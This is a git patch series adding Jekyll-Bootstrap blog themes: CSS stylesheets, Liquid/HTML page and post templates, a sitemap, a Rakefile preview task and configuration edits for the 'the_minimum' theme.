#ccc; +} +pre:hover { + border-right: none; + overflow: visible; +} +code { + font-size: 1em; + background-color: #f7f7ff; + line-height: 1.4em; +} +pre > code { + background-color: transparent; +} +/* @end */ + + +/* @group Disqus */ +#disqus_thread { + margin-top: 2.93em; +} +.dsq-comment-body { + text-align: justify; + line-height: 1.29em; +} +.dsq-comment { + padding-top: 0 !important; + margin-top: 1.7em !important; + margin-bottom: 1.9em !important; + background-image: none !important; +} +.dsq-comment-message { + line-height: 1.714em; +} +.dsq-comment-header { + background-color: whitesmoke !important; + border-top: 1px solid silver !important; + border-bottom: 1px solid silver !important; + margin-bottom: 1.15em !important; +} +.dsq-header-time { margin-left: 0 !important; } +.dsq-comment-header cite { + font-variant: small-caps; + margin-left: 0 !important; +} +.dsq-comment-footer { + font-size: 75% !important; + margin-top: 1px !important; +} +#dsq-options { + background: whitesmoke; + border-bottom: 1px solid silver; + border-top: 1px solid silver; + padding: 0 0 0 1em; +} +#dsq-comments-count { + margin-top: 0.8em !important; + margin-bottom: 1.2em !important; +} +#dsq-extra-links { padding-left: 0 !important; } +#dsq-extra-links li img { display: none; } +#dsq-options-toggle { color: silver; font-size: 75% !important;} +#dsq-add-new-comment { + margin-top: 1.19em !important; + margin-bottom: 1.25em !important; +} +/* The following position, width and height ensure + * that none of the body in the iframe shows through. + */ +form#comment { + position: absolute; + height: 100%; + width: 100%; + background-color: white !important; +} +/* @end */ + +/* @group LibraryThing */ +span.LTtitle { display: none; } +div.LTitem { display: inline; margin-right: 0.7em; } +div.LTprovided { display: none; } +/* @end */ + +/* @group Last.fm */ +#lastfm a { margin-right: 0.7em; } +/* @end */ + +/* @group Delicious */ +.delicious-posts { } +.delicious-posts ul, .delicious-posts li, .delicious-banner { margin: 0; padding: 0 } +.delicious-posts li { list-style-position: outside; margin-bottom: 1em; margin-left: 1em; text-align: justify; } +.delicious-post { } +.delicious-banner { display: none; } +.delicious-posts a:hover { } +.delicious-posts a { } +.delicious-post a { font-weight: bold; } +p.delicious-extended { font-size: 100%; display: inline; } +p.delicious-extended:before { content: ' — '; } +/* @end */ + +/* @group Footer */ +#footer { + margin-top: 0; + color: grey; + font-size: 87.5%; + line-height: 1.3em; +} +#footer address { + position: relative; + margin: .5em 0 0 0; + text-align: right; +} +#footer a { + font-variant: small-caps; + font-style: normal; + color: #77d; + text-decoration: none; +} +#footer .copyright { + position: absolute; + left: 0; + text-align: left; + display: block; +} +#footer .engine { + position: absolute; + text-align: right; + display: block; + right: 0; +} +/* @end */ + + +/* @group Figures and images */ +dl.figure { + margin-top: 1.5em; + margin-bottom: 1.5em; + text-align: center; +} + +dl.figure dd { + color: #333; + font-size: 0.875em; + margin: 0.875em auto 0 auto; + line-height: 1.14em; + text-align: justify; + width: 85%; +} +/* @end */ + +/* @group Equations */ +div.maruku-equation { display: block ;text-align: center; } +div.maruku-equation img.maruku-png { position: relative; top: -0.75em;} +span.maruku-inline { } +img.maruku-png { } +/* @end */ + +/* .prev-next */ +.prev-next { + position:relative; +} +.prev-next .next{ + float:right; +} + +/* tag_box ======================================================== */ +.tag_box { + list-style:none; + margin:0; + padding:5px 0 ; + overflow:hidden; +} +.tag_box li { + list-style:none; + line-height:1.8em; +} +.tag_box.inline li { + float:left; +} +.tag_box a { + padding: 3px 6px; + margin: 2px; + background: #eee; + border-radius: 3px; + border:1px dashed #ccc; + text-decoration:none; +} +.tag_box a span{ + vertical-align:super; + font-size:0.8em; +} +.tag_box a.active { + background:#57A957; + border:1px solid #4C964D; + color:#FFF; +} + diff --git a/assets/themes/mark-reid/css/syntax.css b/assets/themes/mark-reid/css/syntax.css new file mode 100644 index 0000000..2774b76 --- /dev/null +++ b/assets/themes/mark-reid/css/syntax.css @@ -0,0 +1,60 @@ +.highlight { background: #ffffff; } +.highlight .c { color: #999988; font-style: italic } /* Comment */ +.highlight .err { color: #a61717; background-color: #e3d2d2 } /* Error */ +.highlight .k { font-weight: bold } /* Keyword */ +.highlight .o { font-weight: bold } /* Operator */ +.highlight .cm { color: #999988; font-style: italic } /* Comment.Multiline */ +.highlight .cp { color: #999999; font-weight: bold } /* Comment.Preproc */ +.highlight .c1 { color: #999988; font-style: italic } /* Comment.Single */ +.highlight .cs { color: #999999; font-weight: bold; font-style: italic } /* Comment.Special */ +.highlight .gd { color: #000000; background-color: #ffdddd } /* Generic.Deleted */ +.highlight .gd .x { color: #000000; background-color: #ffaaaa } /* Generic.Deleted.Specific */ +.highlight .ge { font-style: italic } /* Generic.Emph */ +.highlight .gr { color: #aa0000 } /* Generic.Error */ +.highlight .gh { color: #999999 } /* Generic.Heading */ +.highlight .gi { color: #000000; background-color: #ddffdd } /* Generic.Inserted */ +.highlight .gi .x { color: #000000; background-color: #aaffaa } /* Generic.Inserted.Specific */ +.highlight .go { color: #888888 } /* Generic.Output */ +.highlight .gp { color: #555555 } /* Generic.Prompt */ +.highlight .gs { font-weight: bold } /* Generic.Strong */ +.highlight .gu { color: #aaaaaa } /* Generic.Subheading */ +.highlight .gt { color: #aa0000 } /* Generic.Traceback */ +.highlight .kc { font-weight: bold } /* Keyword.Constant */ +.highlight .kd { font-weight: bold } /* Keyword.Declaration */ +.highlight .kp { font-weight: bold } /* Keyword.Pseudo */ +.highlight .kr { font-weight: bold } /* Keyword.Reserved */ +.highlight .kt { color: #445588; font-weight: bold } /* Keyword.Type */ +.highlight .m { color: #009999 } /* Literal.Number */ +.highlight .s { color: #d14 } /* Literal.String */ +.highlight .na { color: #008080 } /* Name.Attribute */ +.highlight .nb { color: #0086B3 } /* Name.Builtin */ +.highlight .nc { color: #445588; font-weight: bold } /* Name.Class */ +.highlight .no { color: #008080 } /* Name.Constant */ +.highlight .ni { color: #800080 } /* Name.Entity */ +.highlight .ne { color: #990000; font-weight: bold } /* Name.Exception */ +.highlight .nf { color: #990000; font-weight: bold } /* Name.Function */ +.highlight .nn { color: #555555 } /* Name.Namespace */ +.highlight .nt { color: #000080 } /* Name.Tag */ +.highlight .nv { color: #008080 } /* Name.Variable */ +.highlight .ow { font-weight: bold } /* Operator.Word */ +.highlight .w { color: #bbbbbb } /* Text.Whitespace */ +.highlight .mf { color: #009999 } /* Literal.Number.Float */ +.highlight .mh { color: #009999 } /* Literal.Number.Hex */ +.highlight .mi { color: #009999 } /* Literal.Number.Integer */ +.highlight .mo { color: #009999 } /* Literal.Number.Oct */ +.highlight .sb { color: #d14 } /* Literal.String.Backtick */ +.highlight .sc { color: #d14 } /* Literal.String.Char */ +.highlight .sd { color: #d14 } /* Literal.String.Doc */ +.highlight .s2 { color: #d14 } /* Literal.String.Double */ +.highlight .se { color: #d14 } /* Literal.String.Escape */ +.highlight .sh { color: #d14 } /* Literal.String.Heredoc */ +.highlight .si { color: #d14 } /* Literal.String.Interpol */ +.highlight .sx { color: #d14 } /* Literal.String.Other */ +.highlight .sr { color: #009926 } /* Literal.String.Regex */ +.highlight .s1 { color: #d14 } /* Literal.String.Single */ +.highlight .ss { color: #990073 } /* Literal.String.Symbol */ +.highlight .bp { color: #999999 } /* Name.Builtin.Pseudo */ +.highlight .vc { color: #008080 } /* Name.Variable.Class */ +.highlight .vg { color: #008080 } /* Name.Variable.Global */ +.highlight .vi { color: #008080 } /* Name.Variable.Instance */ +.highlight .il { color: #009999 } /* Literal.Number.Integer.Long */ diff --git a/assets/themes/tom/css/screen.css b/assets/themes/tom/css/screen.css new file mode 100644 index 0000000..810e5a1 --- /dev/null +++ b/assets/themes/tom/css/screen.css @@ -0,0 +1,197 @@ +/*****************************************************************************/ +/* +/* Common +/* +/*****************************************************************************/ + +/* Global Reset */ + +* { + margin: 0; + padding: 0; +} + +html, body { + height: 100%; +} + +body { + background-color: white; + font: 13.34px helvetica, arial, clean, sans-serif; + *font-size: small; + text-align: center; +} + +h1, h2, h3, h4, h5, h6 { + font-size: 100%; +} + +h1 { + margin-bottom: 1em; +} + +p { + margin: 1em 0; +} + +a { + color: #00a; +} + +a:hover { + color: black; +} + +a:visited { + color: #a0a; +} + +table { + font-size: inherit; + font: 100%; +} + +/*****************************************************************************/ +/* +/* Home +/* +/*****************************************************************************/ + +ul.posts { + list-style-type: none; + margin-bottom: 2em; +} + + ul.posts li { + line-height: 1.75em; + } + + ul.posts span { + color: #aaa; + font-family: Monaco, "Courier New", monospace; + font-size: 80%; + } + +/*****************************************************************************/ +/* +/* Site +/* +/*****************************************************************************/ + +.site { + font-size: 110%; + text-align: justify; + width: 40em; + margin: 3em auto 2em auto; + line-height: 1.5em; +} + +.title { + color: #a00; + font-weight: bold; + margin-bottom: 2em; +} + + .site .title a { + color: #a00; + text-decoration: none; + } + + .site .title a:hover { + color: black; + } + + .site .title a.extra { + color: #aaa; + text-decoration: none; + margin-left: 1em; + } + + .site .title a.extra:hover { + color: black; + } + + .site .meta { + color: #aaa; + } + + .site .footer { + font-size: 80%; + color: #666; + border-top: 4px solid #eee; + margin-top: 2em; + overflow: hidden; + } + + .site .footer .contact { + float: left; + margin-right: 3em; + } + + .site .footer .contact a { + color: #8085C1; + } + + .site .footer .rss { + margin-top: 1.1em; + margin-right: -.2em; + float: right; + } + + .site .footer .rss img { + border: 0; + } + +/*****************************************************************************/ +/* +/* Posts +/* +/*****************************************************************************/ + +#post { + +} + + /* standard */ + + #post pre { + border: 1px solid #ddd; + background-color: #eef; + padding: 0 .4em; + } + + #post ul, + #post ol { + margin-left: 1.35em; + } + + #post code { + border: 1px solid #ddd; + background-color: #eef; + font-size: 85%; + padding: 0 .2em; + } + + #post pre code { + border: none; + } + + /* terminal */ + + #post pre.terminal { + border: 1px solid black; + background-color: #333; + color: white; + } + + #post pre.terminal code { + background-color: #333; + } + +#related { + margin-top: 2em; +} + + #related h2 { + margin-bottom: 1em; + } \ No newline at end of file diff --git a/assets/themes/tom/css/syntax.css b/assets/themes/tom/css/syntax.css new file mode 100644 index 0000000..2774b76 --- /dev/null +++ b/assets/themes/tom/css/syntax.css @@ -0,0 +1,60 @@ +.highlight { background: #ffffff; } +.highlight .c { color: #999988; font-style: italic } /* Comment */ +.highlight .err { color: #a61717; background-color: #e3d2d2 } /* Error */ +.highlight .k { font-weight: bold } /* Keyword */ +.highlight .o { font-weight: bold } /* Operator */ +.highlight .cm { color: #999988; font-style: italic } /* Comment.Multiline */ +.highlight .cp { color: #999999; font-weight: bold } /* Comment.Preproc */ +.highlight .c1 { color: #999988; font-style: italic } /* Comment.Single */ +.highlight .cs { color: #999999; font-weight: bold; font-style: italic } /* Comment.Special */ +.highlight .gd { color: #000000; background-color: #ffdddd } /* Generic.Deleted */ +.highlight .gd .x { color: #000000; background-color: #ffaaaa } /* Generic.Deleted.Specific */ +.highlight .ge { font-style: italic } /* Generic.Emph */ +.highlight .gr { color: #aa0000 } /* Generic.Error */ +.highlight .gh { color: #999999 } /* Generic.Heading */ +.highlight .gi { color: #000000; background-color: #ddffdd } /* Generic.Inserted */ +.highlight .gi .x { color: #000000; background-color: #aaffaa } /* Generic.Inserted.Specific */ +.highlight .go { color: #888888 } /* Generic.Output */ +.highlight .gp { color: #555555 } /* Generic.Prompt */ +.highlight .gs { font-weight: bold } /* Generic.Strong */ +.highlight .gu { color: #aaaaaa } /* Generic.Subheading */ +.highlight .gt { color: #aa0000 } /* Generic.Traceback */ +.highlight .kc { font-weight: bold } /* Keyword.Constant */ +.highlight .kd { font-weight: bold } /* Keyword.Declaration */ +.highlight .kp { font-weight: bold } /* Keyword.Pseudo */ +.highlight .kr { font-weight: bold } /* Keyword.Reserved */ +.highlight .kt { color: #445588; font-weight: bold } /* Keyword.Type */ +.highlight .m { color: #009999 } /* Literal.Number */ +.highlight .s { color: #d14 } /* Literal.String */ +.highlight .na { color: #008080 } /* Name.Attribute */ +.highlight .nb { color: #0086B3 } /* Name.Builtin */ +.highlight .nc { color: #445588; font-weight: bold } /* Name.Class */ +.highlight .no { color: #008080 } /* Name.Constant */ +.highlight .ni { color: #800080 } /* Name.Entity */ +.highlight .ne { color: #990000; font-weight: bold } /* Name.Exception */ +.highlight .nf { color: #990000; font-weight: bold } /* Name.Function */ +.highlight .nn { color: #555555 } /* Name.Namespace */ +.highlight .nt { color: #000080 } /* Name.Tag */ +.highlight .nv { color: #008080 } /* Name.Variable */ +.highlight .ow { font-weight: bold } /* Operator.Word */ +.highlight .w { color: #bbbbbb } /* Text.Whitespace */ +.highlight .mf { color: #009999 } /* Literal.Number.Float */ +.highlight .mh { color: #009999 } /* Literal.Number.Hex */ +.highlight .mi { color: #009999 } /* Literal.Number.Integer */ +.highlight .mo { color: #009999 } /* Literal.Number.Oct */ +.highlight .sb { color: #d14 } /* Literal.String.Backtick */ +.highlight .sc { color: #d14 } /* Literal.String.Char */ +.highlight .sd { color: #d14 } /* Literal.String.Doc */ +.highlight .s2 { color: #d14 } /* Literal.String.Double */ +.highlight .se { color: #d14 } /* Literal.String.Escape */ +.highlight .sh { color: #d14 } /* Literal.String.Heredoc */ +.highlight .si { color: #d14 } /* Literal.String.Interpol */ +.highlight .sx { color: #d14 } /* Literal.String.Other */ +.highlight .sr { color: #009926 } /* Literal.String.Regex */ +.highlight .s1 { color: #d14 } /* Literal.String.Single */ +.highlight .ss { color: #990073 } /* Literal.String.Symbol */ +.highlight .bp { color: #999999 } /* Name.Builtin.Pseudo */ +.highlight .vc { color: #008080 } /* Name.Variable.Class */ +.highlight .vg { color: #008080 } /* Name.Variable.Global */ +.highlight .vi { color: #008080 } /* Name.Variable.Instance */ +.highlight .il { color: #009999 } /* Literal.Number.Integer.Long */ diff --git a/categories.html b/categories.html new file mode 100644 index 0000000..529a345 --- /dev/null +++ b/categories.html @@ -0,0 +1,21 @@ +--- +layout: page +title: Categories +header: Posts By Category +group: example-page +--- + +<ul class="tag_box inline"> + {% assign categories_list = site.categories %} + {% include helpers/categories_list.html %} +</ul> + + +{% for category in site.categories %} + <h2 id="{{ category[0] }}-ref">{{ category[0] | join: "/" }}</h2> + <ul> + {% assign pages_list = category[1] %} + {% include helpers/pages_list.html %} + </ul> +{% endfor %} + diff --git a/index.md b/index.md new file mode 100644 index 0000000..14f94fe --- /dev/null +++ b/index.md @@ -0,0 +1,45 @@ +--- +layout: page +title: Hello from Jekyll-Bootstrap-Core +header: This is Jekyll-Bootstrap +--- + +Read [Jekyll Quick Start](http://jekyllbootstrap.com/jekyll-quick-start.html) + +Complete usage and documentation available at: [Jekyll Bootstrap](http://jekyllboostrap.com) + +## Update Author Attributes + +In `_config.yml` remember to specify your own data: + + title : My Blog =) + + author : + name : Name Lastname + email : blah@email.test + github : username + twitter : username + +The theme should reference these variables whenever needed. + +## Sample Posts + +This blog contains sample posts which help stage pages and blog data. +When you don't need the samples anymore just delete the `_posts/core-samples` folder. + + $ rm -rf _posts/core-samples + +Here's a sample "posts list". + +<ul class="posts"> + {% for post in site.posts %} + <li><span>{{ post.date | date_to_string }}</span> » <a href="{{ post.url }}">{{ post.title }}</a></li> + {% endfor %} +</ul> + +## To-Do + +This theme is still unfinished. If you'd like to be added as a contributor, [please fork](http://github.com/plusjade/jekyll-bootstrap)! +We need to clean up the themes, make theme usage guides with theme-specific markup examples. + + diff --git a/pages.html b/pages.html new file mode 100644 index 0000000..91c6c96 --- /dev/null +++ b/pages.html @@ -0,0 +1,21 @@ +--- +layout: page +title: Pages +header: Pages +group: example-page +--- + +<h2>All Pages</h2> +{% assign pages_list = site.pages %} +{% include helpers/pages_list.html %} + + +<h2>Pages in group: project</h2> +{% assign pages_list = site.pages %} +{% assign group = 'project' %} +{% include helpers/pages_list.html %} + +<h2>Pages in group: example-page</h2> +{% assign pages_list = site.pages %} +{% assign group = 'example-page' %} +{% include helpers/pages_list.html %} diff --git a/sitemap.txt b/sitemap.txt new file mode 100644 index 0000000..59367c5 --- /dev/null +++ b/sitemap.txt @@ -0,0 +1,7 @@ +--- +# Remember to set production_url in your _config.yml file! +--- +{% for page in site.pages %} +{{site.production_url}}{{ page.url }}{% endfor %} +{% for post in site.posts %} +{{site.production_url}}{{ post.url }}{% endfor %} \ No newline at end of file diff --git a/tags.html b/tags.html new file mode 100644 index 0000000..fa36a9c --- /dev/null +++ b/tags.html @@ -0,0 +1,20 @@ +--- +layout: page +title: Tags +header: Posts By Tag +group: example-page +--- + +<ul class="tag_box inline"> + {% assign tags_list = site.tags %} + {% include helpers/tags_list.html %} +</ul> + + +{% for tag in site.tags %} + <h2 id="{{ tag[0] }}-ref">{{ tag[0] }}</h2> + <ul> + {% assign pages_list = tag[1] %} + {% include helpers/pages_list.html %} + </ul> +{% endfor %} From 486d099e96e09efff776681503b558956300871a Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Thu, 12 Jan 2012 10:28:22 +0900 Subject: [PATCH 002/144] add .rbenv-version --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index d81823a..d7a8f1a 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,5 @@ Thumbs.db .DS_Store !.gitkeep + +.rbenv-version From 223a9ca6a2da0cf571d343c5832510162a279bf5 Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Thu, 12 Jan 2012 17:41:52 +0900 Subject: [PATCH 003/144] add rake preview for development --- Rakefile | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Rakefile b/Rakefile index bea3fd9..1087d90 100644 --- a/Rakefile +++ b/Rakefile @@ -27,3 +27,7 @@ task :switch_theme, :theme do |t, args| end end # task :switch_theme +desc "Launch preview environment" +task :preview do + system "jekyll --auto --server" +end From dc6bc0d912974a7a7be6b360ccba2f535c3f5679 Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Thu, 12 Jan 2012 17:42:50 +0900 Subject: [PATCH 004/144] add feedbuner url --- _config.yml | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/_config.yml b/_config.yml index 47de579..442bf60 100644 --- a/_config.yml +++ b/_config.yml @@ -9,10 +9,13 @@ var: tags_path : /tags.html production_url : http://username.github.com # or your custom domain name -title : My Blog =) +title : the_minimum author : name : Name Lastname email : blah@email.test github : username twitter : username + feedbuder : feedname + +exclude: .rbenv-version From 66a3d569c4c035ba9737affe4d8e31e6a555cebb Mon Sep 17 00:00:00 2001 From: Yuya Saito <studiomohawk@gmail.com> Date: Thu, 12 Jan 2012 17:43:18 +0900 Subject: [PATCH 005/144] the_minimum theme is ready --- _includes/themes/the-minimum/default.html | 84 ++ _includes/themes/the-minimum/page.html | 28 + _includes/themes/the-minimum/post.html | 68 ++ assets/themes/the-minimum/css/_layout.less | 382 +++++++++ assets/themes/the-minimum/css/_less-base.less | 189 ++++ assets/themes/the-minimum/css/base.css | 153 ++++ assets/themes/the-minimum/css/helper.css | 48 ++ assets/themes/the-minimum/css/module.css | 71 ++ assets/themes/the-minimum/css/style.css | 804 ++++++++++++++++++ assets/themes/the-minimum/css/style.less | 228 +++++ .../the-minimum/css/syntaxhighlighter.css | 68 ++ .../the-minimum/font/Junction-webfont.eot | Bin 0 -> 23668 bytes .../the-minimum/font/Junction-webfont.svg | 177 ++++ .../the-minimum/font/Junction-webfont.ttf | Bin 0 -> 23464 bytes .../the-minimum/font/Junction-webfont.woff | Bin 0 -> 15548 bytes assets/themes/the-minimum/readme.markdown | 34 + .../the-minimum/skin/100-90-5-monochrome.png | Bin 0 -> 22346 bytes 17 files changed, 2334 insertions(+) create mode 100644 _includes/themes/the-minimum/default.html create mode 100644 _includes/themes/the-minimum/page.html create mode 100644 _includes/themes/the-minimum/post.html create mode 100644 assets/themes/the-minimum/css/_layout.less create mode 100644 assets/themes/the-minimum/css/_less-base.less create mode 100644 assets/themes/the-minimum/css/base.css create mode 100644 assets/themes/the-minimum/css/helper.css create mode 100644 assets/themes/the-minimum/css/module.css create mode 100644 assets/themes/the-minimum/css/style.css create mode 100644 assets/themes/the-minimum/css/style.less create mode 100644 assets/themes/the-minimum/css/syntaxhighlighter.css create mode 100755 assets/themes/the-minimum/font/Junction-webfont.eot create mode 100755 assets/themes/the-minimum/font/Junction-webfont.svg create mode 100755 assets/themes/the-minimum/font/Junction-webfont.ttf create mode 100755 assets/themes/the-minimum/font/Junction-webfont.woff create mode 100644 assets/themes/the-minimum/readme.markdown create mode 100644 assets/themes/the-minimum/skin/100-90-5-monochrome.png diff --git a/_includes/themes/the-minimum/default.html b/_includes/themes/the-minimum/default.html new file mode 100644 index 0000000..548b2a9 --- /dev/null +++ b/_includes/themes/the-minimum/default.html @@ -0,0 +1,84 @@ +<!DOCTYPE html> +<!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7 ie" lang="en"> <![endif]--> +<!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8 ie" lang="en"> <![endif]--> +<!--[if IE 8]> <html class="no-js lt-ie9 ie" lang="en"> <![endif]--> +<!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]--> +<head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width,initial-scale=1"> + <title>{{ page.title }}</title> + <meta name="author" content="{{ site.author.name }}"> + <link href='{{ theme_asset_path }}/css/style.css' rel="stylesheet" media="all"> + <link href="http://feeds.feedburner.com/{{ site.author.feedbaname }}" rel="alternate" title="{{ page.title }}" type="application/atom+xml"> + <script src="http://cdnjs.cloudflare.com/ajax/libs/modernizr/2.0.6/modernizr.min.js"></script> +</head> +<body> + +<div id="page" class="hentry"> + <header class="the-header"> + <div class="unit-head"> + <div class="unit-inner unit-head-inner"> + <p class="logo"><a href="/">{{ site.title }}</a></p> + <nav class="nav-global"> + <ul> + <li class="archive"><a href="/archive.html">archive</a></li> + <li class="page"><a href="/pages.html">pages</a></li> + <li class="category"><a href="/categories.html">categories</a></li> + <li class="tag"><a href="/tags.html">tags</a></li> + <li class="forkme"><iframe src="http://markdotto.github.com/github-buttons/github-btn.html?user=plusjade&repo=jekyll-bootstrap&type=fork&count=true" + allowtransparency="true" frameborder="0" scrolling="0" width="95px" height="20px"></iframe></li> + </ul> + </nav> + </div><!-- unit-inner --> + </div><!-- unit-head --> + </header> + <div class="body" role="main"> + <div class="unit-body"> + <div class="unit-inner unit-body-inner"> + <div class="entry-content"> + {{ content }} + </div> + </div><!-- unit-inner --> + </div><!-- unit-body --> + </div><!-- body --> + <footer class="the-footer"> + <div class="unit-foot"> + <div class="unit-inner unit-foot-inner"> + <div class="misc vcard"> + <h4>about</h4> + <ul> + <li class="contact"><address><span class="author fn n">{{ site.author.name }}</span><span class="fn email">{{ site.author.email }}</span></address></li> + <li class="github"><a href="http://github.com/{{ site.author.github }}/" rel="me">github.com/{{ site.author.github }}</a></li> + <li class="twitter"><a href="http://twitter.com/{{ site.author.twitter }}/" rel="me">twitter.com/{{ site.author.twitter }}</a></li> + <li class="rss"><a href="http://feeds.feedburner.com/{{ site.author.feedname }}">Subscribe to RSS Feed</a></li> + </ul> + </div><!-- misc --> + <p class="licence"> + Theme: <a href="http://layouts-the.me">the_minimum</a> based on <a href="http://jekyllbootstrap.com/">Jekyll-bootstrap</a>.<br> + Powered by <a href="https://github.com/mojombo/jekyll">Jekyll</a>. + </p> + </div><!-- unit-foot-inner --> + </div><!-- unit-foot --> + </footer> +</div><!-- page --> +<script> + (function(d, s) { + var js, fjs = d.getElementsByTagName(s)[0], load = function(url, id) { + if (d.getElementById(id)) {return;} + js = d.createElement(s); js.src = url; js.id = id; + fjs.parentNode.insertBefore(js, fjs); + }; + load('//platform.twitter.com/widgets.js', 'tweetjs'); + // load('https://apis.google.com/js/plusone.js', 'gplus1js'); // Checkout http://j.mp/ApDgMr for usage html for this is <div class="g-plusone" data-size="medium"></div> + // load('//connect.facebook.net/en_US/all.js#xfbml=1', 'fbjssdk'); // Checkout http://j.mp/wZw2xR for using open graph protorol html for this is <div class="fb-like" data-href="{{ page.url }}" data-send="false" data-layout="button_count" data-width="450" data-show-faces="false" data-font="verdana"></div> + }(document, 'script')); +</script> +<script> +/*! A fix for the iOS orientationchange zoom bug.Script by @scottjehl, rebound by @wilto. MIT License.*/ +(function(j){var i=j.document;if(!i.querySelectorAll){return}var l=i.querySelectorAll("meta[name=viewport]")[0],a=l&&l.getAttribute("content"),h=a+", maximum-scale=1.0",d=a+", maximum-scale=10.0",g=true,c=j.orientation,k=0;if(!l){return}function f(){l.setAttribute("content",d);g=true}function b(){l.setAttribute("content",h);g=false}function e(m){c=Math.abs(j.orientation);k=Math.abs(m.gamma);if(k>8&&c===0){if(g){b()}}else{if(!g){f()}}}j.addEventListener("orientationchange",f,false);j.addEventListener("deviceorientation",e,false)})(this); +</script> +{% if site.safe %} + {% include production/analytics.html %} +{% endif %} +</body> +</html> diff --git a/_includes/themes/the-minimum/page.html b/_includes/themes/the-minimum/page.html new file mode 100644 index 0000000..7c92f28 --- /dev/null +++ b/_includes/themes/the-minimum/page.html @@ -0,0 +1,28 @@ +<article class="unit-article layout-page"> + <div class="unit-inner unit-article-inner"> + <div class="content"> + <header> + <div class="unit-head"> + <div class="unit-inner unit-head-inner"> + <h1 class="h2 entry-title">{{ page.title }}</h1> + </div><!-- unit-inner --> + </div><!-- unit-head --> + </header> + + <div class="bd"> + <div class="entry-content"> + {{ content }} + </div><!-- entry-content --> + </div><!-- bd --> + + <footer class="unit-foot"> + <div class="unit-inner unit-foot-inner"> + <p class="gotop"> + <a href="#page">Back to Top</a> + </p> + </div> + </footer> + + </div><!-- content --> + </div><!-- unit-inner --> +</article> diff --git a/_includes/themes/the-minimum/post.html b/_includes/themes/the-minimum/post.html new file mode 100644 index 0000000..cf5712e --- /dev/null +++ b/_includes/themes/the-minimum/post.html @@ -0,0 +1,68 @@ +<article class="unit-article layout-post"> + <div class="unit-inner unit-article-inner"> + <div class="content"> + <header> + <div class="unit-head"> + <div class="unit-inner unit-head-inner"> + <h1 class="h2 entry-title">{{ page.title }}</h1> + </div><!-- unit-inner --> + </div><!-- unit-head --> + </header> + + <div class="bd"> + <div class="entry-content"> + {{ content }} + <div class="meta"> + <p class="date-publish"> + Published: + <date class="date-pub" title="{{ page.date | date_to_xmlschema }}" datetime="{{ page.date | date_to_xmlschema }}" pubdate> + <span class="month"><abbr>{{ page.date | date: '%B' }}</abbr></span> + <span class="day">{{ page.date | date: '%d' }}</span> + <span class="year">{{ page.date | date: '%Y' }}</span> + </date> + </p> + <ul class="list-category list-linear"> + <li class="list-head">category: </li> + {% assign categories_list = page.categories %} + {% include helpers/categories_list.html %} + </ul> + <ul class="list-tag list-linear"> + <li class="list-head">tags: </li> + {% assign tags_list = page.tags %} + {% include helpers/tags_list.html %} + </ul> + </div><!-- meta --> + </div><!-- entry-content --> + <div class="misc-content"> + <div class="social"> + <ul class="list-linear"> + <li><div class="twitter-tweet"><a href="https://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="{{ site.author.twitter }}" data-lang="en">Tweet</a></div></li> + <li><div class="twitter-follow"><a href="https://twitter.com/{{ site.author.twitter }}" class="twitter-follow-button" data-show-count="false" data-lang="en"></a></div></li> + </ul> + </div> + </div><!-- misc-content --> + </div><!-- bd --> + <footer class="unit-foot"> + <div class="unit-inner unit-foot-inner"> + <nav class="pagination"> + <ul> + {% if page.previous %} + <li class="prev"><a class="internal" rel="prev" href="{{ page.previous.url }}" title="View {{ page.previous.title }}">« {{ page.previous.title }}</a></li> + {% endif %} + {% if page.previous and page.next %} + <li class="pipe"> | </li> + {% endif %} + {% if page.next %} + <li class="next"><a class="internal" rel="next" href="{{ page.next.url }}" title="View {{ page.next.title }}">{{ page.next.title }} »</a></li> + {% endif %} + </ul> + </nav> + <p class="gotop"> + <a href="#page">Back to Top</a> + </p> + </div> + </footer> + + </div><!-- content --> + </div><!-- unit-inner --> +</article> diff --git a/assets/themes/the-minimum/css/_layout.less b/assets/themes/the-minimum/css/_layout.less new file mode 100644 index 0000000..f1733c1 --- /dev/null +++ b/assets/themes/the-minimum/css/_layout.less @@ -0,0 +1,382 @@ +// GO MOBILE FIRST! +.the-header { + .unit-inner { + width: @3cols; + margin-top: @line-height / @em; + margin-bottom: @line-height / @em; + margin-left: auto; + margin-right: auto; + } + .logo a { + font-size: 32px; + line-height: 42px; + } +} // the-header + +.unit-article { + + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { + width: @3cols; + margin-left: auto; + margin-right: auto; + } + + .unit-head-inner { + .meta { margin-bottom: @line-height / @em; } + } + +} // .the-article + +.layout-page { + + .unit-body { + .unit-body-inner { + width: @3cols; + margin-left: auto; + margin-right: auto; + } + .article-list { + .meta { margin-bottom: @line-height / @em; } + } + } + +} // .layout-page + +.the-footer { + + .unit-foot { + width: @3cols; + margin-left: auto; + margin-right: auto; + } + +} // .the-footer + +/* + IE +*/ + +.ie { + .the-header { + .unit-inner { + width: @11cols; + margin-top: @line-height / @em; + margin-bottom: @line-height / @em; + margin-left: auto; + margin-right: auto; + } + .logo { + width: @5cols; + float: left; + } + .nav-global { + margin-top: 50px; + text-align: right; + width: @5cols; + float: right; + } + } // the-header + + .unit-article { + + .unit-head-inner, .entry-content, .misc-content, .unit-foot-inner { + width: @11cols; + margin-left: auto; + margin-right: auto; + } + .unit-head-inner, .entry-content, .misc-content { + h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote { + margin-right: 210px; + } + } + + .unit-head-inner { + .meta { + width: @4cols; + float: right; + } + } + + } // .unit-article + + .layout-page { + + .unit-body { + .unit-body-inner{ + width: @8cols; + margin-left: auto; + margin-right: auto; + } + .article-list { + width: @8cols; + .meta { + width: @4cols; + float: right; + } + } + } + + } // layout-page + + .the-footer { + + .unit-foot { + width: @11cols; + margin-left: auto; + margin-right: auto; + } + + } // .the-footer + +} // .ie + +/* + Smartphone +*/ + +@media only screen and (min-width: 320px) and (max-width: 767px) { + img { 